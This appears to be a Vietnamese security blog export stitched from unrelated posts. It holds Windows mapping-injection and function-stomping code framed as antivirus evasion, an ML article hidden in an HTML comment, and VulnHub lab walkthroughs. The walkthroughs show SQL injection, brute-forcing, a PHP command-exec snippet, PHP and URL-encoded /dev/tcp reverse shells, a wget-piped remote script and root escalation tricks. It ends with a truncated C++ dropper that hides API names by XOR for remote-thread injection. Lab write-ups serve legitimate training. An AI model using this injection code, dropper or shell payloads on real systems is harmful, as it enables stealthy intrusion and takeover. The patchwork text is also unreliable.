Mapping injection là một kỹ thuật mà trong đó bộ nhớ được ánh xạ vào không gian địa chỉ của một process. Kỹ thuật này ít bị phát hiện hơn so với các phương pháp cấp phát bộ nhớ truyền thống, chẳng hạn như VirtualAlloc, vì chúng dễ bị phần mềm diệt virus theo dõi.

Mapping Injection Nội Bộ

Dưới đây là cách bạn có thể tiêm một payload vào bộ nhớ sử dụng CreateFileMapping và MapViewOfFile:

BOOL LocalMapInject(IN PBYTE pPayload, IN SIZE_T sPayloadSize, OUT PVOID* ppAddress) {
    BOOL bSTATE = TRUE;
    HANDLE hFile = NULL;
    PVOID pMapAddress = NULL;

    // Tạo file mapping với quyền RWX
    hFile = CreateFileMappingW(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, NULL, sPayloadSize, NULL);
    if (hFile == NULL) {
        printf("[!] CreateFileMapping Failed With Error : %d \n", GetLastError());
        bSTATE = FALSE; goto _EndOfFunction;
    }

    // Ánh xạ payload vào bộ nhớ
    pMapAddress = MapViewOfFile(hFile, FILE_MAP_WRITE | FILE_MAP_EXECUTE, NULL, NULL, sPayloadSize);
    if (pMapAddress == NULL) {
        printf("[!] MapViewOfFile Failed With Error : %d \n", GetLastError());
        bSTATE = FALSE; goto _EndOfFunction;
    }

    // Sao chép payload vào bộ nhớ đã ánh xạ
    memcpy(pMapAddress, pPayload, sPayloadSize);

_EndOfFunction:
    *ppAddress = pMapAddress;
    if (hFile)
        CloseHandle(hFile);
    return bSTATE;
}

Remote Mapping Injection

Đối với việc tiêm từ xa, quá trình tương tự, nhưng bạn sẽ ánh xạ bộ nhớ vào không gian địa chỉ của remote process.

BOOL RemoteMapInject(IN HANDLE hProcess, IN PBYTE pPayload, IN SIZE_T sPayloadSize, OUT PVOID* ppAddress) {
    BOOL bSTATE = TRUE;
    HANDLE hFile = NULL;
    PVOID pMapLocalAddress = NULL, pMapRemoteAddress = NULL;

    // Tạo file mapping
    hFile = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, NULL, sPayloadSize, NULL);
    if (hFile == NULL) {
        printf("[!] CreateFileMapping Failed With Error : %d \n", GetLastError());
        bSTATE = FALSE; goto _EndOfFunction;
    }

    // Ánh xạ bộ nhớ cục bộ và sao chép payload
    pMapLocalAddress = MapViewOfFile(hFile, FILE_MAP_WRITE, NULL, NULL, sPayloadSize);
    if (pMapLocalAddress == NULL) {
        printf("[!] MapViewOfFile Failed With Error : %d \n", GetLastError());
        bSTATE = FALSE; goto _EndOfFunction;
    }
    memcpy(pMapLocalAddress, pPayload, sPayloadSize);

    // Ánh xạ payload vào không gian địa chỉ của tiến trình từ xa
    pMapRemoteAddress = MapViewOfFile2(hFile, hProcess, NULL, NULL, NULL, NULL, PAGE_EXECUTE_READWRITE);
    if (pMapRemoteAddress == NULL) {
        printf("[!] MapViewOfFile2 Failed With Error : %d \n", GetLastError());
        bSTATE = FALSE; goto _EndOfFunction;
    }

    printf("[+] Remote Mapping Address : 0x%p \n", pMapRemoteAddress);

_EndOfFunction:
    *ppAddress = pMapRemoteAddress;
    if (hFile)
        CloseHandle(hFile);
    return bSTATE;
}

Function Stomping Injection

Function stomping là một kỹ thuật trong đó bộ nhớ của một hàm hoặc cấu trúc dữ liệu bị ghi đè bằng dữ liệu mới. Kỹ thuật này có thể được sử dụng để tiêm payload vào một tiến trình bằng cách trực tiếp thay đổi các địa chỉ hàm.

Chèn DLL vào Binary

Thay vì sử dụng LoadLibrary và GetProcAddress, bạn có thể liên kết tĩnh một DLL vào binary của bạn và chèn một payload vào trong đó.

#pragma comment (lib, "Setupapi.lib") // Thêm "setupapi.dll" vào Import Address Table

int main() {
    HANDLE hThread = NULL;
    printf("[+] Address Of \"SetupScanFileQueueA\" : 0x%p \n", &SetupScanFileQueueA);

    printf("[#] Press <Enter> To Write Payload ... ");
    getchar();

    if (!WritePayload(&SetupScanFileQueueA, Payload, sizeof(Payload))) {
        return -1;
    }

    printf("[+] DONE \n");

    printf("[#] Press <Enter> To Run The Payload ... ");
    getchar();

    hThread = CreateThread(NULL, NULL, SetupScanFileQueueA, NULL, NULL, NULL);
    if (hThread != NULL)
        WaitForSingleObject(hThread, INFINITE);

    printf("[#] Press <Enter> To Quit ... ");
    getchar();

    return 0;
}

Kết Luận

Trong bài viết này, chúng ta đã khám phá cách mà callback functions hoạt động trong nội bộ Windows và cách chúng có thể bị lạm dụng để thực thi payload. Chúng ta cũng đã thảo luận các kỹ thuật như mapping injection và function stomping, là các phương pháp mà kẻ tấn công có thể sử dụng để tiêm payload vào tiến trình từ xa hoặc cục bộ.

Binary Classification and Linear Regression: A Comprehensive Analysis

Thu, 08 Dec 2022 00:00:00 GMT

Giới thiệu
Trong thế giới học máy, phân loại nhị phân (binary classification) là một trong những bài toán kinh điển nhất, xuất hiện trong vô số ứng dụng thực tế như phát hiện spam, chẩn đoán bệnh, hay phân tích tín dụng. Mục tiêu của nó là phân chia dữ liệu thành hai lớp riêng biệt dựa trên các đặc trưng (features). Điều thú vị là, dù khác biệt về mục tiêu, bài toán này lại có mối liên hệ mật thiết với hồi quy tuyến tính (linear regression) thông qua các kỹ thuật tối ưu hóa. Bài viết này sẽ giải mã mối quan hệ đó, đồng thời làm rõ cơ chế toán học đằng sau.

<!--

1. Phân Loại Nhị Phân: Từ Ý Tưởng Đến Siêu Phẳng

Bài toán cốt lõi: Cho một tập dữ liệu với hai lớp (ví dụ: "Bệnh" và "Không bệnh"), ta cần xây dựng một siêu phẳng (hyperplane) trong không gian đa chiều để phân tách chúng. Siêu phẳng này được định nghĩa bởi hàm tuyến tính:
<p class="formula">( f_{\mathbf{w}}(\mathbf{x}) = \mathbf{w} \cdot \mathbf{x} ),</p>
trong đó:

( \mathbf{w} ): Vector trọng số (weights), quyết định hướng và khoảng cách của siêu phẳng.
( \mathbf{x} ): Vector đặc trưng đầu vào.

Hàm sign được áp dụng để xác định lớp:

$$( \text{sign}(f_{\mathbf{w}}(\mathbf{x})) = 1 )$$: Lớp dương (ví dụ: Bệnh).
( \text{sign}(f_{\mathbf{w}}(\mathbf{x})) = -1 ): Lớp âm (ví dụ: Không bệnh).
( f_{\mathbf{w}}(\mathbf{x}) = 0 ): Điểm nằm trên siêu phẳng (ranh giới quyết định).

2. Thuật Toán Học: Perceptron và Adaline

Để tìm ( \mathbf{w} ) tối ưu, hai thuật toán phổ biến được sử dụng:

a. Perceptron

Nguyên lý: Cập nhật trọng số mỗi khi mô hình phân loại sai.
Công thức cập nhật:
( \mathbf{w}{\text{new}} = \mathbf{w}{\text{old}} + \eta \cdot y_i \cdot \mathbf{x}_i ),
với ( \eta ) là tốc độ học (learning rate), ( y_i ) là nhãn thực tế.

b. Adaline (Adaptive Linear Neuron)

Khác biệt: Thay vì dùng nhãn rời rạc (( \pm 1 )), Adaline tối ưu sai số bình phương giữa giá trị dự đoán và giá trị thực.
Hàm mục tiêu:
( L(\mathbf{w}) = \sum_{i} (y_i - \mathbf{w} \cdot \mathbf{x}_i)^2 ).

3. Hàm Loss và Gradient Descent: Trái Tim Của Tối Ưu Hóa

Dù sử dụng thuật toán nào, việc đánh giá hiệu suất mô hình đều dựa trên hàm loss (hàm tổn thất). Với phân loại nhị phân, hàm hinge loss thường được áp dụng:
<p class="formula">( L(\mathbf{w}) = \sum_{i} \max(0, 1 - y_i \cdot f_{\mathbf{w}}(\mathbf{x}_i)) ).</p>

Gradient Descent là chìa khóa để tối ưu hàm loss:

Tính đạo hàm riêng của loss theo từng trọng số ( w_j ).
Cập nhật trọng số:
( w_j^{\text{new}} = w_j^{\text{old}} - \eta \cdot \frac{\partial L}{\partial w_j} ).

Ví dụ minh họa:
Xét hàm ( f(x, y, z) = (x + y) \cdot z ) với ( x = -2 ), ( y = 5 ), ( z = -4 ):

Đạo hàm theo ( x ): ( \frac{\partial f}{\partial x} = z = -4 ).
Đạo hàm theo ( y ): ( \frac{\partial f}{\partial y} = z = -4 ).
Đạo hàm theo ( z ): ( \frac{\partial f}{\partial z} = x + y = 3 ).
Quá trình này mô phỏng cách tính gradient để điều chỉnh ( \mathbf{w} ) trong mô hình.

4. Mối Liên Hệ Với Hồi Quy Tuyến Tính

Dù phân loại nhị phân và hồi quy tuyến tính có mục tiêu khác biệt (dự đoán nhãn rời rạc vs. giá trị liên tục), chúng chia sẻ chung kỹ thuật tối ưu:

Gradient Descent: Được dùng để tối ưu hóa cả hai bài toán.
Hàm Chi Phí: Hồi quy tuyến tính dùng MSE (Mean Squared Error), trong khi phân loại nhị phân dùng hinge loss hoặc cross-entropy.
Tính Chất Hình Học: Cả hai đều xác định một siêu phẳng tối ưu trong không gian dữ liệu.

5. Thách Thức và Ứng Dụng Thực Tiễn

Dữ Liệu Không Phân Tách Tuyến Tính: Khi hai lớp chồng lấn, mô hình tuyến tính thất bại. Giải pháp là chuyển sang SVM với kernel hoặc mạng neural.
Ứng Dụng: Từ lọc email đến hệ thống gợi ý sản phẩm, phân loại nhị phân là nền tảng của nhiều hệ thống AI hiện đại.

Kết Luận

Phân loại nhị phân không chỉ là bài toán cơ bản mà còn là ví dụ điển hình về cách toán học và tối ưu hóa được áp dụng trong học máy. Sự tương đồng với hồi quy tuyến tính phản ánh một nguyên lý sâu xa: Dù bài toán là gì, việc tìm kiếm mô hình tối ưu luôn xoay quanh việc định nghĩa đúng hàm mục tiêu và tối ưu hóa hiệu quả. Hiểu được điều này, chúng ta có thể mở rộng sang các mô hình phức tạp hơn như SVM hay deep learning với nền tảng vững chắc. --> Updating...

Pentesting Diary - Hack with Me: [4] NullByte

Sun, 12 Jun 2022 00:00:00 GMT

NullByte

BOX: NULLBYTE

Link: https://www.vulnhub.com/entry/nullbyte-1,126/

TO DO:

[x] Info gathering. Nmap, naabu, nuclei.
[x] Exploit:
- [x] phpmyadmin exploit
- [x] SSH Attack
[x] Privilege escalation
[x] REPORT
[x] Done!

Information Gathering

Finding Machine IP + Map VLAN:

Box này nó chưa cho sẵn IP cho nên việc đầu tiên là scan IP và map vlan.

Port scanning:

Tiếp theo là scan port bằng naabu và nmap.

Vulns check

Fuzzing Time

Subdomain:

Passive:

Active:

Hidden directory:

Trang chủ chỉ có mỗi ảnh gif nên ta tải xuống và dùng binwalk extract xem nội dung HEX thử.

Ta thấy chuỗi string đặc biệt kzMb5nVYJw Test thử thì đây chính là đường dẫn tới một trang có form nhập key.

Ở đây ta dùng Hydra để bruteforce key này

Sau khi nhập key elite vào thì web dẫn tới trang như hình.

Tổng kết những thông tin useful sau khi scan,fuzzing các kiểu con đà điểu nè:

Scanning	PORT	Services	Version	Exploitable?	Note
Naabu + Nmap	80	Apache httpd	2.4.10	No
	777	OpenSSH	6.7p1	Yes	bruteforce

Nuclei					nothing useful
Fuzzing		File/Directory - Domain
Dirsearch	80	`/phpmyadmin`		Yes
	80	`/kzMb5nVYJw`		Yes
Subfinder					nothing useful
Knock					nothing useful

Exploit:

Foothold

Thử nhập test vào ô username và enter. Nhìn vào url ta thấy nó hiện ra parameter có dạng như sau:

?<tenbien> = <giatrinhapvaoform>

Ta thay đổi vài giá trị khác vào parameter usrtosearch kết quả vẫn trả về Fetched data successfully .

⇒ Ta có thể đoán được parameter trên dùng để query thông tin username trong database rồi trả về cho ta.

Giả thiết

Ta có câu lệnh query như này: Select * from users where username=”$usrtosearch”

Vậy giờ sẽ ra sao nếu ta thử nhập vào một ký tự ‘

⇒ Lúc này câu lệnh query sẽ trông như thế này: Select * from users where username=”'”

⇒ Expected: Câu lệnh này sẽ báo lỗi sai cú pháp.

Thực hiện

Và đây chính là kết quả sau khi thực hiện.

Kết luận

Ta có thể thấy server trả về lỗi syntax. ⇒ Đúng như ta mong đợi đến đây ta có thể kết luận rằng trang này đã bị dính SQLi.

Vậy bước tiếp theo là dùng Sqlmap để dump database . Với các payload như sau:

Payload

sqlmap --url="[http://nullbyte.local/kzMb5nVYJw/420search.php?usrtosearch=](http://nullbyte.local/kzMb5nVYJw/420search.php?usrtosearch=)" -dump

sqlmap --url="[http://nullbyte.local/kzMb5nVYJw/420search.php?usrtosearch=](http://nullbyte.local/kzMb5nVYJw/420search.php?usrtosearch=)" —dbs

Ta có kết quả là dump được các bảng trong database của trang.

Ta thử đăng nhập trang phpmyadmin tài khoản username root với password sunnyvale để đăng nhập thành công.

Ta thấy trong database có username ramses với password được mã hoá. D0oán được đây chính là một trong những user trên server. Ở đây thay vì chọn cách giải mã password thì ta dùng hydra để bruteforce nó.

Bruteforce thành công!! Ta có password cho user ramses là omega.

Đăng nhập SSH thành công.

Privilege Escaslation:

Enum:

Đầu tiên, ta check nội dung file .bash_history xem lịch sử thực thi command xem có manh mối gì không!!!

Ở đây ta thấy có command chạy file procwatch tại đường dẫn /var/www/backup . Vào xem thử:

Thì thấy trong nội dung file giống như 1 bản ghi lại process( như trong ảnh có 3 process là procwatch, sh và ps ). Và check thử thì thấy đây là một file SUID ⇒ Ta có thể lợi dụng file này để khai thác leo thang đặc quyền.

Exploit:

Ta copy file /bin/sh và đổi tên thành ps và để cùng thư mục với file procwatch kia. Chạy lại file procwatch và BUMP!! Got it!!!

Now you pwned everything!!! It’s your time to play with the victim.

End game!!!

PS:

Nguồn tham khảo:

https://www.linuxfordevices.com/tutorials/linux/hydra-brute-force-ssh

Pentesting Diary - Hack with Me: [3] Dev Guru

Sun, 29 May 2022 00:00:00 GMT

Dev Guru

BOX: Dev Guru

Link: https://www.vulnhub.com/entry/devguru-1,620/

TO DO:

[x] Info gathering. Nmap, naabu, nuclei.
[x] Exploit:
- [x] Dump .git
- [x] Login /admin page
- [x] Shell uploaded
- [x] Get Shell
[x] Privilege escalation
[x] REPORT
[x] Done!

Information Gathering

Port scanning:

Box này nó cho sẵn IP cho nên việc đầu tiên mình làm là scan port bằng naabu và nmap.

Nhìn vào kết quả trên có thể thấy được trang này bị git leak.

Và có port 8585 chạy GitTea.

Map VLAN

Vulns check

Sau đó mình dùng nuclei để tìm thêm các lỗ hổng,misconfig, CVE ,…. và thấy có CVE-2018-15473.

Fuzzing Time

Subdomain:

Passive:

Active:

Hidden directory:

Mình được các trang như sau :

Trang này thoạt nhìn trông như trang đăng nhập quản lý Database nên mình đã google thử thì biết được Adminer là Database Management trong PHP. Tìm thử xem có CVE nào liên quan đến cái này không.

Lên CVE detail tìm thử thì nó dính CVE 2021-21311 . Đại khái CVE như thế này. “Adminer từ phiên bản 4.0.0 và trước 4.7.9 có lỗ hổng giả mạo yêu cầu phía máy chủ(SSRF). Người dùng các phiên bản Adminer gói tất cả các trình điều khiển (ví dụ: adminer.php) đều bị ảnh hưởng. Điều này đã được khắc phục trong phiên bản 4.7.9.” mà trang của chúng ta đang sử dụng ở phiên bản 4.7.7

⇒ Trang /adminer.php này dính SSRF.

Link CVE: https://www.cvedetails.com/cve/CVE-2021-21311/

Tiếp theo là trang /backend

Dùng Wappalyzer detect thử thì trang này là sử dụng October CMS.

Mình thử tìm CVE của CMS này nhưng không có.

Tổng kết những thông tin useful sau khi scan,fuzzing các kiểu con đà điểu nè:

Scanning	PORT	Services	Version	Vuln	Exploitable?	Note
Naabu + Nmap	80	Apache httpd	2.4.29	Git leaks	Yes	Khai thác GitLeaks lấy được username/password database
	22	OpenSSH	7.6p1		Yes
	8585	GitTea
Nuclei	22	OpenSSH	7.6p1	CVE-2018-15473	Yes	enum được username ssh(sẽ tìm hiểu exploit ssh sau)
Fuzzing	PORT	File/Directory - Domain
Dirsearch	80	`/adminer.php`	Adminer 4.7.7	CVE 2021-21311	Yes
	80	`/backend`October CMS 1.0.1			Yes
Subfinder						nothing useful
Knock						nothing useful

Exploit:

Foothold

Dùng Githacker để dump source code từ .git

Sau đó đọc từng file xem thử có gì useful không.

Source code review time : ON

Mình tìm thấy user/password để login mysql trong file database.php

Sử dụng nó để đăng nhập vào trang /adminer.php

Update password của user Frank để đăng nhập vào trang /backend

Đăng nhập thành công trang /backend

Theo kinh nghiệm của mình thì khi gặp các admin dashboard như này thì việc đầu tiên là check xem có chức năng upload không, nếu có thì tìm cách up shell(bypass filter nếu có). Và mình đã thử từ đổi đuôi - đổi MIME đổi - filesignature , up .htacesss nhưng tất cả đều bị chặn. Vậy là hết cách rồi sao ???

Sau khi tìm hiểu thêm thì mình biết được chúng ta có thể thêm code PHP vào trang này thông qua chức năng gọi là ‘CMS’.

Link docs: https://docs.octobercms.com/2.x/cms/pages.html#page-variables

Lúc này trong đầu mình tự đặt ra câu hỏi “Vậy sẽ ra sao nếu nhúng vào trang này một đoạn code thực thi cmd thông qua biến GET và trả về kết quả??”

Mình có đoạn code như sau:

function onStart(){
	echo(system($_GET('cmd')));
}

Và đây là kết quả:

Oh Yeah! It’s time to RCE.

Ở đây mình sử dụng 1 con PHP reverse shell.

php -r '$sock=fsockopen("10.10.1.18",3000);exec("/bin/sh -i <&3 >&3 2>&3");'

Mình sẽ URL encode lại và sử dụng lệnh curl để thực thi

Access granted!

Mình đã RCE thành công.

Privilege Escapsulation:

Enum:

Dùng Tool lse.h để enum system.

lse.h one line: bash <(wget -q -O - "[https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh](https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh)") -l2 -i

Exploit:

Ta thấy server này có tận 2 CVE có thể leo root, vậy mình sẽ thử khai thác theo cả 2 cách:

CVE-2021-3156: Các Sudo phiên bản trước 1.9.5p2 bị lỗi Off-by-One( một loại BOF), dẫn dến cho phép chuyển đặc quyền lên root thông qua "sudoedit -s" và đối số dòng lệnh kết thúc bằng một ký tự dấu gạch chéo ngược.

Link CVE: https://www.cvedetails.com/cve-details.php?t=1&cve_id=CVE-2021-3156

Link Exploit: https://github.com/worawit/CVE-2021-3156

CVE-2021-4034: lỗ hổng này liên quan tới Polkit pkexec có thể khai thác leo thang đặc quyền.

Link CVE: https://www.cvedetails.com/cve-details.php?t=1&cve_id=CVE-2021-4034

Link Exploit: https://github.com/ly4k/PwnKit

Có thể exploit CVE này bằng Pwnkit

In another stage

Sau khi có được root thì game over rồi nhưng mình muốn khai thác sâu hơn vào hệ thống để tìm ra các lỗ hổng khác.

Đầu tiên đọc thử file /etc/passwd

Thì mình thấy trên máy này có user tên là frank . Vậy giờ mình login bằng user này xem thử có gì hay ho không. Đầu tiên mình sẽ đổi password user frank bằng lệnh sau: echo “123450\n123450” | passwd frank

Sau đó mình sẽ thực hiện login bằng user frank

Đầu tiên là mình sẽ xem thử folder backups (mình có xem các folder khác nhưng không tìm thấy cái gì useful nên mình tập trung focus vào folder này nhe)

Thì đúng như cái tên của nó folder này chuyên dùng để backup dữ liệu lại.

Mình tìm được file app.ini.bak

Trong file app.ini.bak có chứa password của dịch vụ gitTea .

Dùng username password này login vào trang adminer.php thử (theo suy đoán của mình đây là account database của trang GitTea mà mình đã tìm ra ở port 8585)

Mình sẽ tìm bảng user và clone 1 account .

Nhưng ở đây password được hash bằng pbkdf2 nên mình thay đổi thành bcrypt cho dễ.

Đăng nhập thành công với account mình vừa clone.

Vào xem config thử

Ta có thể thấy GitTea version 1.12.5 . Search google thì thấy ver này của GitTea dính lỗi RCE thông qua chức năng GitHook.

CVE: https://podalirius.net/en/articles/exploiting-cve-2020-14144-gitea-authenticated-remote-code-execution/

Do trong database vẫn còn 1 user có tên là frank nên mình tìm thử user frank và thấy được 1 repo như này:

Xong mình fork repo về và thêm python reverseshell vào GitHooks

Sau đó mình update repo.

Ta da!

Privilege Escapsulation again:

Kiểm tra quyền sudo và thấy user frank này có thể chạy sqlite3 với quyền root mặc định

Exploit: https://www.exploit-db.com/exploits/47502

https://gtfobins.github.io/gtfobins/sqlite3

Now you pwned everything!!! It’s your time to play with the victim.

End game!!!

PS:

Nguồn tham khảo các CVE:

https://podalirius.net/en/articles/exploiting-cve-2020-14144-gitea-authenticated-remote-code-execution/

Pentesting Diary - Hack with Me: [2] Photographer

Sun, 06 Feb 2022 00:00:00 GMT

Photographer|

BOX: Photographer

Link: https://www.vulnhub.com/entry/photographer-1,519/

TO DO:

[x] Info gathering. Nmap, nikto
[x] Exploit:
- [x] SMBCLIENT //10.10.10.9/sambashare
- [x] Login /admin page
- [x] Shell uploaded
- [x] Get Shell
[x] Privilege escalation: SUID
[x] REPORT
[x] Done!

Info gathering:

Scan network để tìm ra IP của box.

IP Box là: 10.10.10.9. Map local dns cho tiện.

Ta chạy nmap và nikto xem thử:

Enum4linux:

Cho chạy fuzz nè:

Cho chạy fuzz tiếp trên port 8000

Check các file và các directory ta thấy có /admin có thể useful

Tổng kết những thông tin useful sau khi chạy fuzz nmap nikto các kiểu con đà điểu nè:

	PORT	Services	Version	Vuln	Exploitable?	Notes
Nmap	80	http	Apache httpd 2.4.18	CVE 2019-0211	Yes	Sẽ thử exploit theo cách này sau. Link exploit: https://www.exploit-db.com/exploits/46676
	139	netbios-ssn	Samba smbd 3.X - 4.X (workgroup: WORKGROUP)		No
	445	netbios-ssn	Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)		No
	8000	http	Apache httpd 2.4.18	CVE 2019-0211	Yes
Nikto	nothing useful here				No
Enum4linux		SMB		//10.10.10.9/sambashare	Yes
	PORT	File/Directory	Exploitable ?
FUZZING	80	nothing useful	No
	8000	/admin	Yes

Exploit:

Trước hết check smb share thử xem coi có gì đặc biệt hong.

Khi connect vào bằng smbclient thì ta thấy một file txt. Mở ra đọc thì ta thấy đây là nội dung của 1 email, dựa vào nội dung email này thì mình đoán được username && password như sau:

username = [daisa@photographer.com](mailto:daisa@photographer.com)

password = babygirl

Ở trên ta check được form login admin dashboard(/admin) thử điền username&&password này vào thử thì thấy nó work. Ok fine!!!

login admin page

Theo kinh nghiệm của mình thì khi gặp các admin dashboard như này thì việc đầu tiên là check xem có chức năng upload không, nếu có thì tìm cách up shell(bypass filter nếu có). Khá may mắn là ở machine này chỉ filter mấy file hình ảnh cho nên mình dễ dàng bypass bằng cách đổi đuôi file bằng bủhsuite , gòi chỉ việc up lên ròi chiến hoiiii :<.

Shell upload:

Shell: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php

Privilege escalation:

Get root by SUID

Ta check thấy file php này có SUID:

Get Flag! Enjoy ! !!

PS:

Linux privileges:

SUID :

Tìm files có SUID:
- cmd: find / -perm -u=s -type f 2>/dev/null
Privileges
- Khi SUID được gán cho lệnh copy.
  - Ta copy file etc/passwd về máy.
  - Tạo một user mới có quyền root bằng openssl . Cmd: openssl passwd -1 -salt [salt value] {password}.
  - Rồi thêm vào file cuối file passwd ở trên.
  - Upload lại file passwd lên target vào folder /tmp/ xong ghi đè vào file passwd của target.
  - cmd: su . Get root !!!
- Khi SUID được gán cho lệnh find.
- Khi SUID được gán cho vim
- Khác: Ví dụ ở bài trên thì ta check thấy SUID được gán cho file excute php7.2 thì chỉ cần tạo ra 1 bản copy của shell rồi ghi đè lên bỏ qua flag -p đi là get root được.
  - cmd :
```
CMD="/bin/sh"
php -r "pcntl_exec('/bin/sh', ['-p']);"
```

Pentesting Diary - Hack with Me: [1] Hack kid 1.0.1

Fri, 04 Feb 2022 00:00:00 GMT

Hack kid 1.0.1 |

Scan network to discover the pentest box. Using Nmap or netdiscovery:

Here the pentest box’s IP is : 10.10.10.1 We use Nmap to scan port & service:

nmap -sV 10.10.10.1

Port 80 and 9999 open a web server

Map IP to local DNS by editing hosts file: vim /etc/hosts

Review source web on port 80:

Hint for using Get parameter “page_no”.

I use Burpsuit to Bruteforce the id then we got something at 21(I've change to use Wfuzz instead next time):

Map IP to local DNS hackers.blackhat.local by editing file hosts again.

Using Dirsearch to find hidden directory but nothing is useful.

The text is Uppercase Dig so I think it is a hint. I’ve to use dig tool to check all DNS records.

Got a new URL.

Let's trying to find something useful here. I open this URL on Burpsuit and trying to check if it has XXE vulns

Yeah, we got something here.

Let's try to read some common files such as .bash_history,.bashrc.

We got a username and password on .bashrc.

username="saket" password="Saket!#$%@!!"

Use this info to login to web server on port 9999

I’ve found out that this server has SSTI therefore I was tried to RCE it.

Yeah!?Now we’ve RCE it. Let go for PrivilegeEsc

Use lse.sh to check over the system. I’ve to use cap_sys_ptrace vuln to Privilege.

use cap_sys-ptrace vuln to Privilege

https://book.hacktricks.xyz/linux-unix/privilege-escalation/linux-capabilities

Inject payload → get root and enjoy the winning moment :<

RevShell payload:

%7b%25%20%69%6d%70%6f%72%74%20%6f%73%20%25%7d%7b%7b%6f%73%2e%73%79%73%74%65%6d%28%27%62%61%73%68%20%2d%63%20%22%30%3c%26%31%39%36%3b%65%78%65%63%20%31%39%36%3c%3e%2f%64%65%76%2f%74%63%70%2f%31%30%2e%31%30%2e%31%30%2e%34%2f%31%32%33%34%3b%20%73%68%20%3c%26%31%39%36%20%3e%26%31%39%36%20%32%3e%26%31%39%36%22%27%29%7d%7d

https://github.com/carlospolop/PEASS-ng/releases/download/20220202/linpeas.sh

wget "https://github.com/diego-treitos/linux-smart-enumeration/raw/master/lse.sh" -O lse.sh;chmod 700 lse.sh

cap_sys-ptrace : https://pastebin.com/raw/5uT7vGPP

Wfuzz:

-w wordlist
-u url
-hh x: find which is not x
-c colorful

PS: Lần sau sẽ dùng wfuzz để bruteforce thay vì dùng burpsuite.

Dropper with C++

Wed, 02 Feb 2022 00:00:00 GMT

Full POC 1

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <tlhelp32.h>
#include "resources.h"


void XOR(char * data, size_t data_len, char * key, size_t key_len){
	int j;
	
	j = 0;
	for (int i = 0; i < data_len; i++) {
		if (j == key_len - 1) j = 0;

		data[i] = data[i] ^ key[j];
		j++;
	}
}

HANDLE(WINAPI * pCreateToolhelp32Snapshot)(DWORD dwFlags, DWORD th32ProcessID); //Kernel32.dll
BOOL(WINAPI * pProcess32First)(HANDLE hSnapshot, LPPROCESSENTRY32 lppe); //Kernel32.dll
BOOL(WINAPI * pProcess32Next)(HANDLE hSnapshot, LPPROCESSENTRY32 lppe); //Kernel32.dll
BOOL(WINAPI * pVirtualProtectEx)(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect); //Kernel32.dll
LPVOID(WINAPI * pVirtualAllocEx)(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect); //Kernel32.dll

BOOL(WINAPI * pCloseHandle)(HANDLE hObject); //Kernel32.dll
BOOL(WINAPI * pWriteProcessMemory)(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T * lpNumberOfBytesWritten); //Kernel32.dll
HANDLE(WINAPI * pCreateRemoteThread)(HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId);
DWORD(WINAPI * pWaitForSingleObject)(HANDLE hHandle, DWORD dwMilliseconds); //Kernel32.dll
HANDLE(WINAPI * pOpenProcess)(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId); //Kernel32.dll
HRSRC (WINAPI * pFindResource)(HMODULE hModule,LPCSTR  lpName,LPCSTR  lpType);//Kernel32.dll
HGLOBAL (WINAPI * pLoadResource)(HMODULE hModule,HRSRC hResInfo);//Kernel32.dll
LPVOID (WINAPI * pLockResource)(HGLOBAL hResData);//Kernel32.dll
DWORD (WINAPI * pSizeofResource)(HMODULE hModule,HRSRC hResInfo);//Kernel32.dll
VOID (WINAPI * pRtlMoveMemory)(VOID UNALIGNED *Destination,const VOID UNALIGNED *Source,SIZE_T  Length);//Kernel32.dll
LPVOID (WINAPI * pVirtualAlloc)(LPVOID lpAddress,SIZE_T dwSize,DWORD flAllocationType,DWORD flProtect);//Kernel32.dll


char key[] = "mysecretkeee";
char sVirtualAllocEx[] = { 0x3b, 0x10, 0x1, 0x11, 0x16, 0x13, 0x9, 0x35, 0x7, 0x9, 0xa, 0x6, 0x28, 0x1 };
char sWriteProcessMemory[] = { 0x3a, 0xb, 0x1a, 0x11, 0x6, 0x22, 0x17, 0x1b, 0x8, 0x0, 0x16, 0x16, 0x20, 0x1c, 0x1e, 0xa, 0x11, 0xb };
char sCreateRemoteThread[] = { 0x2e, 0xb, 0x16, 0x4, 0x17, 0x17, 0x37, 0x11, 0x6, 0xa, 0x11, 0x0, 0x39, 0x11, 0x1, 0x0, 0x2, 0x16 };
char sProcess32First[] = { 0x3d, 0xb, 0x1c, 0x6, 0x6, 0x1, 0x16, 0x47, 0x59, 0x23, 0xc, 0x17, 0x1e, 0xd };
char sCloseHandle[] = { 0x2e, 0x15, 0x1c, 0x16, 0x6, 0x3a, 0x4, 0x1a, 0xf, 0x9, 0x0 };
char sProcess32Next[] = { 0x3d, 0xb, 0x1c, 0x6, 0x6, 0x1, 0x16, 0x47, 0x59, 0x2b, 0x0, 0x1d, 0x19 };
char sWaitForSingleObject[] = { 0x3a, 0x18, 0x1a, 0x11, 0x25, 0x1d, 0x17, 0x27, 0x2, 0xb, 0x2, 0x9, 0x8, 0x36, 0x11, 0xf, 0x6, 0x11, 0x11 };
char sFindResourceA[] = { 0x2b, 0x10, 0x1d, 0x1, 0x31, 0x17, 0x16, 0x1b, 0x1e, 0x17, 0x6, 0x0, 0x2c };
char sLoadResource[] = { 0x21, 0x16, 0x12, 0x1, 0x31, 0x17, 0x16, 0x1b, 0x1e, 0x17, 0x6, 0x0 };
char sLockResource[] = { 0x21, 0x16, 0x10, 0xe, 0x31, 0x17, 0x16, 0x1b, 0x1e, 0x17, 0x6, 0x0 };
